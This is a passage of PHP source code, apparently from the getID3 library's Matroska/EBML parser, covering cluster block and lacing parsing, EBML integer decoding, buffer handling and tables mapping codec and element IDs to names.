											$cluster_entry[$subelement['id_name']][] = $cluster_block_group;
											break;

										case EBML_ID_CLUSTERSIMPLEBLOCK:
											$cluster_entry[$subelement['id_name']][] = $this->HandleEMBLClusterBlock($subelement, EBML_ID_CLUSTERSIMPLEBLOCK, $info);
											break;

										default:
											$this->unhandledElement('cluster', __LINE__, $subelement);
											break;
									}
									$this->current_offset = $subelement['end'];
								}
								if (!$this->hide_clusters) {
									$info['matroska']['cluster'][] = $cluster_entry;
								}

								// check to see if all the data we need exists already, if so, break out of the loop
								if (!$this->parse_whole_file) {
									if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) {
										if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) {
											if (count($info['matroska']['track_data_offsets']) == count($info['matroska']['tracks']['tracks'])) {
												return;
											}
										}
									}
								}
								break;

							default:
								$this->unhandledElement('segment', __LINE__, $element_data);
								break;
						}
					}
					break;

				default:
					$this->unhandledElement('root', __LINE__, $top_element);
					break;
			}
		}
	}

	/**
	 * @param int $min_data
	 *
	 * @return bool
	 */
	private function EnsureBufferHasEnoughData($min_data=1024) {
		if (($this->current_offset - $this->EBMLbuffer_offset) >= ($this->EBMLbuffer_length - $min_data)) {
			$read_bytes = max($min_data, $this->getid3->fread_buffer_size());

			try {
				$this->fseek($this->current_offset);
				$this->EBMLbuffer_offset = $this->current_offset;
				$this->EBMLbuffer        = $this->fread($read_bytes);
				$this->EBMLbuffer_length = strlen($this->EBMLbuffer);
			} catch (getid3_exception $e) {
				$this->warning('EBML parser: '.$e->getMessage());
				return false;
			}

			if ($this->EBMLbuffer_length == 0 && $this->feof()) {
				return $this->error('EBML parser: ran out of file at offset '.$this->current_offset);
			}
		}
		return true;
	}

	/**
	 * @return int|float|false
	 */
	private function readEBMLint() {
		$actual_offset = $this->current_offset - $this->EBMLbuffer_offset;

		// get length of integer
		$first_byte_int = ord($this->EBMLbuffer[$actual_offset]);
		if       (0x80 & $first_byte_int) {
			$length = 1;
		} elseif (0x40 & $first_byte_int) {
			$length = 2;
		} elseif (0x20 & $first_byte_int) {
			$length = 3;
		} elseif (0x10 & $first_byte_int) {
			$length = 4;
		} elseif (0x08 & $first_byte_int) {
			$length = 5;
		} elseif (0x04 & $first_byte_int) {
			$length = 6;
		} elseif (0x02 & $first_byte_int) {
			$length = 7;
		} elseif (0x01 & $first_byte_int) {
			$length = 8;
		} else {
			throw new Exception('invalid EBML integer (leading 0x00) at '.$this->current_offset);
		}

		// read
		$int_value = self::EBML2Int(substr($this->EBMLbuffer, $actual_offset, $length));
		$this->current_offset += $length;

		return $int_value;
	}

	/**
	 * @param int  $length
	 * @param bool $check_buffer
	 *
	 * @return string|false
	 */
	private function readEBMLelementData($length, $check_buffer=false) {
		if ($check_buffer && !$this->EnsureBufferHasEnoughData($length)) {
			return false;
		}
		$data = substr($this->EBMLbuffer, $this->current_offset - $this->EBMLbuffer_offset, $length);
		$this->current_offset += $length;
		return $data;
	}

	/**
	 * @param array      $element
	 * @param int        $parent_end
	 * @param array|bool $get_data
	 *
	 * @return bool
	 */
	private function getEBMLelement(&$element, $parent_end, $get_data=false) {
		if ($this->current_offset >= $parent_end) {
			return false;
		}

		if (!$this->EnsureBufferHasEnoughData()) {
			$this->current_offset = PHP_INT_MAX; // do not exit parser right now, allow to finish current loop to gather maximum information
			return false;
		}

		$element = array();

		// set offset
		$element['offset'] = $this->current_offset;

		// get ID
		$element['id'] = $this->readEBMLint();

		// get name
		$element['id_name'] = self::EBMLidName($element['id']);

		// get length
		$element['length'] = $this->readEBMLint();

		// get end offset
		$element['end'] = $this->current_offset + $element['length'];

		// get raw data
		$dont_parse = (in_array($element['id'], $this->unuseful_elements) || $element['id_name'] == dechex($element['id']));
		if (($get_data === true || (is_array($get_data) && !in_array($element['id'], $get_data))) && !$dont_parse) {
			$element['data'] = $this->readEBMLelementData($element['length'], $element);
		}

		return true;
	}

	/**
	 * @param string $type
	 * @param int    $line
	 * @param array  $element
	 */
	private function unhandledElement($type, $line, $element) {
		// warn only about unknown and missed elements, not about unuseful
		if (!in_array($element['id'], $this->unuseful_elements)) {
			$this->warning('Unhandled '.$type.' element ['.basename(__FILE__).':'.$line.'] ('.$element['id'].'::'.$element['id_name'].' ['.$element['length'].' bytes]) at '.$element['offset']);
		}

		// increase offset for unparsed elements
		if (!isset($element['data'])) {
			$this->current_offset = $element['end'];
		}
	}

	/**
	 * @param array $SimpleTagArray
	 *
	 * @return bool
	 */
	private function ExtractCommentsSimpleTag($SimpleTagArray) {
		if (!empty($SimpleTagArray['SimpleTag'])) {
			foreach ($SimpleTagArray['SimpleTag'] as $SimpleTagKey => $SimpleTagData) {
				if (!empty($SimpleTagData['TagName']) && !empty($SimpleTagData['TagString'])) {
					$this->getid3->info['matroska']['comments'][strtolower($SimpleTagData['TagName'])][] = $SimpleTagData['TagString'];
				}
				if (!empty($SimpleTagData['SimpleTag'])) {
					$this->ExtractCommentsSimpleTag($SimpleTagData);
				}
			}
		}

		return true;
	}

	/**
	 * @param int $parent_end
	 *
	 * @return array
	 */
	private function HandleEMBLSimpleTag($parent_end) {
		$simpletag_entry = array();

		while ($this->getEBMLelement($element, $parent_end, array(EBML_ID_SIMPLETAG))) {
			switch ($element['id']) {

				case EBML_ID_TAGNAME:
				case EBML_ID_TAGLANGUAGE:
				case EBML_ID_TAGSTRING:
				case EBML_ID_TAGBINARY:
					$simpletag_entry[$element['id_name']] = $element['data'];
					break;

				case EBML_ID_SIMPLETAG:
					$simpletag_entry[$element['id_name']][] = $this->HandleEMBLSimpleTag($element['end']);
					break;

				case EBML_ID_TAGDEFAULT:
					$simpletag_entry[$element['id_name']] = (bool)getid3_lib::BigEndian2Int($element['data']);
					break;

				default:
					$this->unhandledElement('tag.simpletag', __LINE__, $element);
					break;
			}
		}

		return $simpletag_entry;
	}

	/**
	 * @param array $element
	 * @param int   $block_type
	 * @param array $info
	 *
	 * @return array
	 */
	private function HandleEMBLClusterBlock($element, $block_type, &$info) {
		// http://www.matroska.org/technical/specs/index.html#block_structure
		// http://www.matroska.org/technical/specs/index.html#simpleblock_structure

		$block_data = array();
		$block_data['tracknumber'] = $this->readEBMLint();
		$block_data['timecode']    = getid3_lib::BigEndian2Int($this->readEBMLelementData(2), false, true);
		$block_data['flags_raw']   = getid3_lib::BigEndian2Int($this->readEBMLelementData(1));

		if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) {
			$block_data['flags']['keyframe']  = (($block_data['flags_raw'] & 0x80) >> 7);
			//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0x70) >> 4);
		}
		else {
			//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0xF0) >> 4);
		}
		$block_data['flags']['invisible'] = (bool)(($block_data['flags_raw'] & 0x08) >> 3);
		$block_data['flags']['lacing']    =       (($block_data['flags_raw'] & 0x06) >> 1);  // 00=no lacing; 01=Xiph lacing; 11=EBML lacing; 10=fixed-size lacing
		if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) {
			$block_data['flags']['discardable'] = (($block_data['flags_raw'] & 0x01));
		}
		else {
			//$block_data['flags']['reserved2'] = (($block_data['flags_raw'] & 0x01) >> 0);
		}
		$block_data['flags']['lacing_type'] = self::BlockLacingType($block_data['flags']['lacing']);

		// Lace (when lacing bit is set)
		if ($block_data['flags']['lacing'] > 0) {
			$block_data['lace_frames'] = getid3_lib::BigEndian2Int($this->readEBMLelementData(1)) + 1; // Number of frames in the lace-1 (uint8)
			if ($block_data['flags']['lacing'] != 0x02) {
				for ($i = 1; $i < $block_data['lace_frames']; $i ++) { // Lace-coded size of each frame of the lace, except for the last one (multiple uint8). *This is not used with Fixed-size lacing as it is calculated automatically from (total size of lace) / (number of frames in lace).
					if ($block_data['flags']['lacing'] == 0x03) { // EBML lacing
						$block_data['lace_frames_size'][$i] = $this->readEBMLint(); // TODO: read size correctly, calc size for the last frame. For now offsets are deteminded OK with readEBMLint() and that's the most important thing.
					}
					else { // Xiph lacing
						$block_data['lace_frames_size'][$i] = 0;
						do {
							$size = getid3_lib::BigEndian2Int($this->readEBMLelementData(1));
							$block_data['lace_frames_size'][$i] += $size;
						}
						while ($size == 255);
					}
				}
				if ($block_data['flags']['lacing'] == 0x01) { // calc size of the last frame only for Xiph lacing, till EBML sizes are now anyway determined incorrectly
					$block_data['lace_frames_size'][] = $element['end'] - $this->current_offset - array_sum($block_data['lace_frames_size']);
				}
			}
		}

		if (!isset($info['matroska']['track_data_offsets'][$block_data['tracknumber']])) {
			$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['offset'] = $this->current_offset;
			$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'] = $element['end'] - $this->current_offset;
			//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] = 0;
		}
		//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] += $info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'];
		//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['duration']      = $block_data['timecode'] * ((isset($info['matroska']['info'][0]['TimecodeScale']) ? $info['matroska']['info'][0]['TimecodeScale'] : 1000000) / 1000000000);

		// set offset manually
		$this->current_offset = $element['end'];

		return $block_data;
	}

	/**
	 * @param string $EBMLstring
	 *
	 * @return int|float|false
	 */
	private static function EBML2Int($EBMLstring) {
		// http://matroska.org/specs/

		// Element ID coded with an UTF-8 like system:
		// 1xxx xxxx                                  - Class A IDs (2^7 -2 possible values) (base 0x8X)
		// 01xx xxxx  xxxx xxxx                       - Class B IDs (2^14-2 possible values) (base 0x4X 0xXX)
		// 001x xxxx  xxxx xxxx  xxxx xxxx            - Class C IDs (2^21-2 possible values) (base 0x2X 0xXX 0xXX)
		// 0001 xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx - Class D IDs (2^28-2 possible values) (base 0x1X 0xXX 0xXX 0xXX)
		// Values with all x at 0 and 1 are reserved (hence the -2).

		// Data size, in octets, is also coded with an UTF-8 like system :
		// 1xxx xxxx                                                                              - value 0 to  2^7-2
		// 01xx xxxx  xxxx xxxx                                                                   - value 0 to 2^14-2
		// 001x xxxx  xxxx xxxx  xxxx xxxx                                                        - value 0 to 2^21-2
		// 0001 xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                                             - value 0 to 2^28-2
		// 0000 1xxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                                  - value 0 to 2^35-2
		// 0000 01xx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                       - value 0 to 2^42-2
		// 0000 001x  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx            - value 0 to 2^49-2
		// 0000 0001  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx - value 0 to 2^56-2

		$first_byte_int = ord($EBMLstring[0]);
		if (0x80 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x7F);
		} elseif (0x40 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x3F);
		} elseif (0x20 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x1F);
		} elseif (0x10 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x0F);
		} elseif (0x08 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x07);
		} elseif (0x04 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x03);
		} elseif (0x02 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x01);
		} elseif (0x01 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x00);
		}

		return getid3_lib::BigEndian2Int($EBMLstring);
	}

	/**
	 * @param int $EBMLdatestamp
	 *
	 * @return float
	 */
	private static function EBMLdate2unix($EBMLdatestamp) {
		// Date - signed 8 octets integer in nanoseconds with 0 indicating the precise beginning of the millennium (at 2001-01-01T00:00:00,000000000 UTC)
		// 978307200 == mktime(0, 0, 0, 1, 1, 2001) == January 1, 2001 12:00:00am UTC
		return round(($EBMLdatestamp / 1000000000) + 978307200);
	}

	/**
	 * @param int $target_type
	 *
	 * @return string|int
	 */
	public static function TargetTypeValue($target_type) {
		// http://www.matroska.org/technical/specs/tagging/index.html
		static $TargetTypeValue = array();
		if (empty($TargetTypeValue)) {
			$TargetTypeValue[10] = 'A: ~ V:shot';                                           // the lowest hierarchy found in music or movies
			$TargetTypeValue[20] = 'A:subtrack/part/movement ~ V:scene';                    // corresponds to parts of a track for audio (like a movement)
			$TargetTypeValue[30] = 'A:track/song ~ V:chapter';                              // the common parts of an album or a movie
			$TargetTypeValue[40] = 'A:part/session ~ V:part/session';                       // when an album or episode has different logical parts
			$TargetTypeValue[50] = 'A:album/opera/concert ~ V:movie/episode/concert';       // the most common grouping level of music and video (equals to an episode for TV series)
			$TargetTypeValue[60] = 'A:edition/issue/volume/opus ~ V:season/sequel/volume';  // a list of lower levels grouped together
			$TargetTypeValue[70] = 'A:collection ~ V:collection';                           // the high hierarchy consisting of many different lower items
		}
		return (isset($TargetTypeValue[$target_type]) ? $TargetTypeValue[$target_type] : $target_type);
	}

	/**
	 * @param int $lacingtype
	 *
	 * @return string|int
	 */
	public static function BlockLacingType($lacingtype) {
		// http://matroska.org/technical/specs/index.html#block_structure
		static $BlockLacingType = array();
		if (empty($BlockLacingType)) {
			$BlockLacingType[0x00] = 'no lacing';
			$BlockLacingType[0x01] = 'Xiph lacing';
			$BlockLacingType[0x02] = 'fixed-size lacing';
			$BlockLacingType[0x03] = 'EBML lacing';
		}
		return (isset($BlockLacingType[$lacingtype]) ? $BlockLacingType[$lacingtype] : $lacingtype);
	}

	/**
	 * @param string $codecid
	 *
	 * @return string
	 */
	public static function CodecIDtoCommonName($codecid) {
		// http://www.matroska.org/technical/specs/codecid/index.html
		static $CodecIDlist = array();
		if (empty($CodecIDlist)) {
			$CodecIDlist['A_AAC']            = 'aac';
			$CodecIDlist['A_AAC/MPEG2/LC']   = 'aac';
			$CodecIDlist['A_AC3']            = 'ac3';
			$CodecIDlist['A_EAC3']           = 'eac3';
			$CodecIDlist['A_DTS']            = 'dts';
			$CodecIDlist['A_FLAC']           = 'flac';
			$CodecIDlist['A_MPEG/L1']        = 'mp1';
			$CodecIDlist['A_MPEG/L2']        = 'mp2';
			$CodecIDlist['A_MPEG/L3']        = 'mp3';
			$CodecIDlist['A_PCM/INT/LIT']    = 'pcm';       // PCM Integer Little Endian
			$CodecIDlist['A_PCM/INT/BIG']    = 'pcm';       // PCM Integer Big Endian
			$CodecIDlist['A_QUICKTIME/QDMC'] = 'quicktime'; // Quicktime: QDesign Music
			$CodecIDlist['A_QUICKTIME/QDM2'] = 'quicktime'; // Quicktime: QDesign Music v2
			$CodecIDlist['A_VORBIS']         = 'vorbis';
			$CodecIDlist['V_MPEG1']          = 'mpeg';
			$CodecIDlist['V_THEORA']         = 'theora';
			$CodecIDlist['V_REAL/RV40']      = 'real';
			$CodecIDlist['V_REAL/RV10']      = 'real';
			$CodecIDlist['V_REAL/RV20']      = 'real';
			$CodecIDlist['V_REAL/RV30']      = 'real';
			$CodecIDlist['V_QUICKTIME']      = 'quicktime'; // Quicktime
			$CodecIDlist['V_MPEG4/ISO/AP']   = 'mpeg4';
			$CodecIDlist['V_MPEG4/ISO/ASP']  = 'mpeg4';
			$CodecIDlist['V_MPEG4/ISO/AVC']  = 'h264';
			$CodecIDlist['V_MPEG4/ISO/SP']   = 'mpeg4';
			$CodecIDlist['V_VP8']            = 'vp8';
			$CodecIDlist['V_MS/VFW/FOURCC']  = 'vcm'; // Microsoft (TM) Video Codec Manager (VCM)
			$CodecIDlist['A_MS/ACM']         = 'acm'; // Microsoft (TM) Audio Codec Manager (ACM)
		}
		return (isset($CodecIDlist[$codecid]) ? $CodecIDlist[$codecid] : $codecid);
	}

	/**
	 * @param int $value
	 *
	 * @return string
	 */
	private static function EBMLidName($value) {
		static $EBMLidList = array();
		if (empty($EBMLidList)) {
			$EBMLidList[EBML_ID_ASPECTRATIOTYPE]            = 'AspectRatioType';
			$EBMLidList[EBML_ID_ATTACHEDFILE]               = 'AttachedFile';
			$EBMLidList[EBML_ID_ATTACHMENTLINK]             = 'AttachmentLink';
			$EBMLidList[EBML_ID_ATTACHMENTS]                = 'Attachments';
			$EBMLidList[EBML_ID_AUDIO]                      = 'Audio';
			$EBMLidList[EBML_ID_BITDEPTH]                   = 'BitDepth';
			$EBMLidList[EBML_ID_CHANNELPOSITIONS]           = 'ChannelPositions';
			$EBMLidList[EBML_ID_CHANNELS]                   = 'Channels';
			$EBMLidList[EBML_ID_CHAPCOUNTRY]                = 'ChapCountry';
			$EBMLidList[EBML_ID_CHAPLANGUAGE]               = 'ChapLanguage';
			$EBMLidList[EBML_ID_CHAPPROCESS]                = 'ChapProcess';
			$EBMLidList[EBML_ID_CHAPPROCESSCODECID]         = 'ChapProcessCodecID';
			$EBMLidList[EBML_ID_CHAPPROCESSCOMMAND]         = 'ChapProcessCommand';
			$EBMLidList[EBML_ID_CHAPPROCESSDATA]            = 'ChapProcessData';
			$EBMLidList[EBML_ID_CHAPPROCESSPRIVATE]         = 'ChapProcessPrivate';
			$EBMLidList[EBML_ID_CHAPPROCESSTIME]            = 'ChapProcessTime';
			$EBMLidList[EBML_ID_CHAPSTRING]                 = 'ChapString';
			$EBMLidList[EBML_ID_CHAPTERATOM]                = 'ChapterAtom';
			$EBMLidList[EBML_ID_CHAPTERDISPLAY]             = 'ChapterDisplay';
			$EBMLidList[EBML_ID_CHAPTERFLAGENABLED]         = 'ChapterFlagEnabled';
			$EBMLidList[EBML_ID_CHAPTERFLAGHIDDEN]          = 'ChapterFlagHidden';
			$EBMLidList[EBML_ID_CHAPTERPHYSICALEQUIV]       = 'ChapterPhysicalEquiv';
			$EBMLidList[EBML_ID_CHAPTERS]                   = 'Chapters';
			$EBMLidList[EBML_ID_CHAPTERSEGMENTEDITIONUID]   = 'ChapterSegmentEditionUID';
			$EBMLidList[EBML_ID_CHAPTERSEGMENTUID]          = 'ChapterSegmentUID';
			$EBMLidList[EBML_ID_CHAPTERTIMEEND]             = 'ChapterTimeEnd';
			$EBMLidList[EBML_ID_CHAPTERTIMESTART]           = 'ChapterTimeStart';
			$EBMLidList[EBML_ID_CHAPTERTRACK]               = 'ChapterTrack';
			$EBMLidList[EBML_ID_CHAPTERTRACKNUMBER]         = 'ChapterTrackNumber';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATE]           = 'ChapterTranslate';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATECODEC]      = 'ChapterTranslateCodec';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATEEDITIONUID] = 'ChapterTranslateEditionUID';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATEID]         = 'ChapterTranslateID';
			$EBMLidList[EBML_ID_CHAPTERUID]                 = 'ChapterUID';
			$EBMLidList[EBML_ID_CLUSTER]                    = 'Cluster';
			$EBMLidList[EBML_ID_CLUSTERBLOCK]               = 'ClusterBlock';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDID]          = 'ClusterBlockAddID';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONAL]     = 'ClusterBlockAdditional';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONID]     = 'ClusterBlockAdditionID';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONS]      = 'ClusterBlockAdditions';
			$EBMLidList[EBML_ID_CLUSTERBLOCKDURATION]       = 'ClusterBlockDuration';
			$EBMLidList[EBML_ID_CLUSTERBLOCKGROUP]          = 'ClusterBlockGroup';
			$EBMLidList[EBML_ID_CLUSTERBLOCKMORE]           = 'ClusterBlockMore';
			$EBMLidList[EBML_ID_CLUSTERBLOCKVIRTUAL]        = 'ClusterBlockVirtual';
			$EBMLidList[EBML_ID_CLUSTERCODECSTATE]          = 'ClusterCodecState';
			$EBMLidList[EBML_ID_CLUSTERDELAY]               = 'ClusterDelay';
			$EBMLidList[EBML_ID_CLUSTERDURATION]            = 'ClusterDuration';
			$EBMLidList[EBML_ID_CLUSTERENCRYPTEDBLOCK]      = 'ClusterEncryptedBlock';
			$EBMLidList[EBML_ID_CLUSTERFRAMENUMBER]         = 'ClusterFrameNumber';
			$EBMLidList[EBML_ID_CLUSTERLACENUMBER]          = 'ClusterLaceNumber';
			$EBMLidList[EBML_ID_CLUSTERPOSITION]            = 'ClusterPosition';
			$EBMLidList[EBML_ID_CLUSTERPREVSIZE]            = 'ClusterPrevSize';
			$EBMLidList[EBML_ID_CLUSTERREFERENCEBLOCK]      = 'ClusterReferenceBlock';
			$EBMLidList[EBML_ID_CLUSTERREFERENCEPRIORITY]   = 'ClusterReferencePriority';
			$EBMLidList[EBML_ID_CLUSTERREFERENCEVIRTUAL]    = 'ClusterReferenceVirtual';
			$EBMLidList[EBML_ID_CLUSTERSILENTTRACKNUMBER]   = 'ClusterSilentTrackNumber';
			$EBMLidList[EBML_ID_CLUSTERSILENTTRACKS]        = 'ClusterSilentTracks';
			$EBMLidList[EBML_ID_CLUSTERSIMPLEBLOCK]         = 'ClusterSimpleBlock';
			$EBMLidList[EBML_ID_CLUSTERTIMECODE]            = 'ClusterTimecode';
			$EBMLidList[EBML_ID_CLUSTERTIMESLICE]           = 'ClusterTimeSlice';
			$EBMLidList[EBML_ID_CODECDECODEALL]             = 'CodecDecodeAll';
			$EBMLidList[EBML_ID_CODECDOWNLOADURL]           = 'CodecDownloadURL';
			$EBMLidList[EBML_ID_CODECID]                    = 'CodecID';
			$EBMLidList[EBML_ID_CODECINFOURL]               = 'CodecInfoURL';
			$EBMLidList[EBML_ID_CODECNAME]                  = 'CodecName';
			$EBMLidList[EBML_ID_CODECPRIVATE]               = 'CodecPrivate';
			$EBMLidList[EBML_ID_CODECSETTINGS]              = 'CodecSettings';
			$EBMLidList[EBML_ID_COLOURSPACE]                = 'ColourSpace';
			$EBMLidList[EBML_ID_CONTENTCOMPALGO]            = 'ContentCompAlgo';
			$EBMLidList[EBML_ID_CONTENTCOMPRESSION]         = 'ContentCompression';
			$EBMLidList[EBML_ID_CONTENTCOMPSETTINGS]        = 'ContentCompSettings';
			$EBMLidList[EBML_ID_CONTENTENCALGO]             = 'ContentEncAlgo';
			$EBMLidList[EBML_ID_CONTENTENCKEYID]            = 'ContentEncKeyID';
			$EBMLidList[EBML_ID_CONTENTENCODING]            = 'ContentEncoding';
			$EBMLidList[EBML_ID_CONTENTENCODINGORDER]       = 'ContentEncodingOrder';
			$EBMLidList[EBML_ID_CONTENTENCODINGS]           = 'ContentEncodings';
			$EBMLidList[EBML_ID_CONTENTENCODINGSCOPE]       = 'ContentEncodingScope';
			$EBMLidList[EBML_ID_CONTENTENCODINGTYPE]        = 'ContentEncodingType';
			$EBMLidList[EBML_ID_CONTENTENCRYPTION]          = 'ContentEncryption';
			$EBMLidList[EBML_ID_CONTENTSIGALGO]             = 'ContentSigAlgo';
			$EBMLidList[EBML_ID_CONTENTSIGHASHALGO]         = 'ContentSigHashAlgo';
			$EBMLidList[EBML_ID_CONTENTSIGKEYID]            = 'ContentSigKeyID';
			$EBMLidList[EBML_ID_CONTENTSIGNATURE]           = 'ContentSignature';
			$EBMLidList[EBML_ID_CRC32]                      = 'CRC32';
			$EBMLidList[EBML_ID_CUEBLOCKNUMBER]             = 'CueBlockNumber';
			$EBMLidList[EBML_ID_CUECLUSTERPOSITION]         = 'CueClusterPosition';
			$EBMLidList[EBML_ID_CUECODECSTATE]              = 'CueCodecState';
			$EBMLidList[EBML_ID_CUEPOINT]                   = 'CuePoint';
			$EBMLidList[EBML_ID_CUEREFCLUSTER]              = 'CueRefCluster';
			$EBMLidList[EBML_ID_CUEREFCODECSTATE]           = 'CueRefCodecState';
			$EBMLidList[EBML_ID_CUEREFERENCE]               = 'CueReference';
			$EBMLidList[EBML_ID_CUEREFNUMBER]               = 'CueRefNumber';
			$EBMLidList[EBML_ID_CUEREFTIME]                 = 'CueRefTime';
			$EBMLidList[EBML_ID_CUES]                       = 'Cues';
			$EBMLidList[EBML_ID_CUETIME]                    = 'CueTime';
			$EBMLidList[EBML_ID_CUETRACK]                   = 'CueTrack';
			$EBMLidList[EBML_ID_CUETRACKPOSITIONS]          = 'CueTrackPositions';
			$EBMLidList[EBML_ID_DATEUTC]                    = 'DateUTC';
			$EBMLidList[EBML_ID_DEFAULTDURATION]            = 'DefaultDuration';
			$EBMLidList[EBML_ID_DISPLAYHEIGHT]              = 'DisplayHeight';
			$EBMLidList[EBML_ID_DISPLAYUNIT]                = 'DisplayUnit';
			$EBMLidList[EBML_ID_DISPLAYWIDTH]               = 'DisplayWidth';
			$EBMLidList[EBML_ID_DOCTYPE]                    = 'DocType';
			$EBMLidList[EBML_ID_DOCTYPEREADVERSION]         = 'DocTypeReadVersion';
			$EBMLidList[EBML_ID_DOCTYPEVERSION]             = 'DocTypeVersion';
			$EBMLidList[EBML_ID_DURATION]                   = 'Duration';
			$EBMLidList[EBML_ID_EBML]                       = 'EBML';
			$EBMLidList[EBML_ID_EBMLMAXIDLENGTH]            = 'EBMLMaxIDLength';
			$EBMLidList[EBML_ID_EBMLMAXSIZELENGTH]          = 'EBMLMaxSizeLength';
			$EBMLidList[EBML_ID_EBMLREADVERSION]            = 'EBMLReadVersion';
			$EBMLidList[EBML_ID_EBMLVERSION]                = 'EBMLVersion';
			$EBMLidList[EBML_ID_EDITIONENTRY]               = 'EditionEntry';
			$EBMLidList[EBML_ID_EDITIONFLAGDEFAULT]         = 'EditionFlagDefault';
			$EBMLidList[EBML_ID_EDITIONFLAGHIDDEN]          = 'EditionFlagHidden';
			$EBMLidList[EBML_ID_EDITIONFLAGORDERED]         = 'EditionFlagOrdered';
			$EBMLidList[EBML_ID_EDITIONUID]                 = 'EditionUID';
			$EBMLidList[EBML_ID_FILEDATA]                   = 'FileData';
			$EBMLidList[EBML_ID_FILEDESCRIPTION]            = 'FileDescription';
			$EBMLidList[EBML_ID_FILEMIMETYPE]               = 'FileMimeType';
			$EBMLidList[EBML_ID_FILENAME]                   = 'FileName';
			$EBMLidList[EBML_ID_FILEREFERRAL]               = 'FileReferral';
			$EBMLidList[EBML_ID_FILEUID]                    = 'FileUID';
			$EBMLidList[EBML_ID_FLAGDEFAULT]                = 'FlagDefault';
			$EBMLidList[EBML_ID_FLAGENABLED]                = 'FlagEnabled';
			$EBMLidList[EBML_ID_FLAGFORCED]                 = 'FlagForced';
			$EBMLidList[EBML_ID_FLAGINTERLACED]             = 'FlagInterlaced';
			$EBMLidList[EBML_ID_FLAGLACING]                 = 'FlagLacing';
			$EBMLidList[EBML_ID_GAMMAVALUE]                 = 'GammaValue';
			$EBMLidList[EBML_ID_INFO]                       = 'Info';
			$EBMLidList[EBML_ID_LANGUAGE]                   = 'Language';
			$EBMLidList[EBML_ID_MAXBLOCKADDITIONID]         = 'MaxBlockAdditionID';
			$EBMLidList[EBML_ID_MAXCACHE]                   = 'MaxCache';
			$EBMLidList[EBML_ID_MINCACHE]                   = 'MinCache';
			$EBMLidList[EBML_ID_MUXINGAPP]                  = 'MuxingApp';
			$EBMLidList[EBML_ID_NAME]                       = 'Name';
			$EBMLidList[EBML_ID_NEXTFILENAME]               = 'NextFilename';
			$EBMLidList[EBML_ID_NEXTUID]                    = 'NextUID';
			$EBMLidList[EBML_ID_OUTPUTSAMPLINGFREQUENCY]    = 'OutputSamplingFrequency';
			$EBMLidList[EBML_ID_PIXELCROPBOTTOM]            = 'PixelCropBottom';
			$EBMLidList[EBML_ID_PIXELCROPLEFT]              = 'PixelCropLeft';
			$EBMLidList[EBML_ID_PIXELCROPRIGHT]             = 'PixelCropRight';
			$EBMLidList[EBML_ID_PIXELCROPTOP]               = 'PixelCropTop';
			$EBMLidList[EBML_ID_PIXELHEIGHT]                = 'PixelHeight';
			$EBMLidList[EBML_ID_PIXELWIDTH]                 = 'PixelWidth';
			$EBMLidList[EBML_ID_PREVFILENAME]               = 'PrevFilename';
			$EBMLidList[EBML_ID_PREVUID]                    = 'PrevUID';
			$EBMLidList[EBML_ID_SAMPLINGFREQUENCY]          = 'SamplingFrequency';
			$EBMLidList[EBML_ID_SEEK]                       = 'Seek';
			$EBMLidList[EBML_ID_SEEKHEAD]                   = 'SeekHead';
			$EBMLidList[EBML_ID_SEEKID]                     = 'SeekID';
			$EBMLidList[EBML_ID_SEEKPOSITION]               = 'SeekPosition';
			$EBMLidList[EBML_ID_SEGMENT]                    = 'Segment';
			$EBMLidList[EBML_ID_SEGMENTFAMILY]              = 'SegmentFamily';
			$EBMLidList[EBML_ID_SEGMENTFILENAME]            = 'SegmentFilename';
			$EBMLidList[EBML_ID_SEGMENTUID]                 = 'SegmentUID';
			$EBMLidList[EBML_ID_SIMPLETAG]                  = 'SimpleTag';
			$EBMLidList[EBML_ID_CLUSTERSLICES]              = 'ClusterSlices';
			$EBMLidList[EBML_ID_STEREOMODE]                 = 'StereoMode';
			$EBMLidList[EBML_ID_OLDSTEREOMODE]              = 'OldStereoMode';
			$EBMLidList[EBML_ID_TAG]                        = 'Tag';
			$EBMLidList[EBML_ID_TAGATTACHMENTUID]           = 'TagAttachmentUID';
			$EBMLidList[EBML_ID_TAGBINARY]                  = 'TagBinary';
			$EBMLidList[EBML_ID_TAGCHAPTERUID]              = 'TagChapterUID';
			$EBMLidList[EBML_ID_TAGDEFAULT]                 = 'TagDefault';
			$EBMLidList[EBML_ID_TAGEDITIONUID]              = 'TagEditionUID';
			$EBMLidList[EBML_ID_TAGLANGUAGE]                = 'TagLanguage';
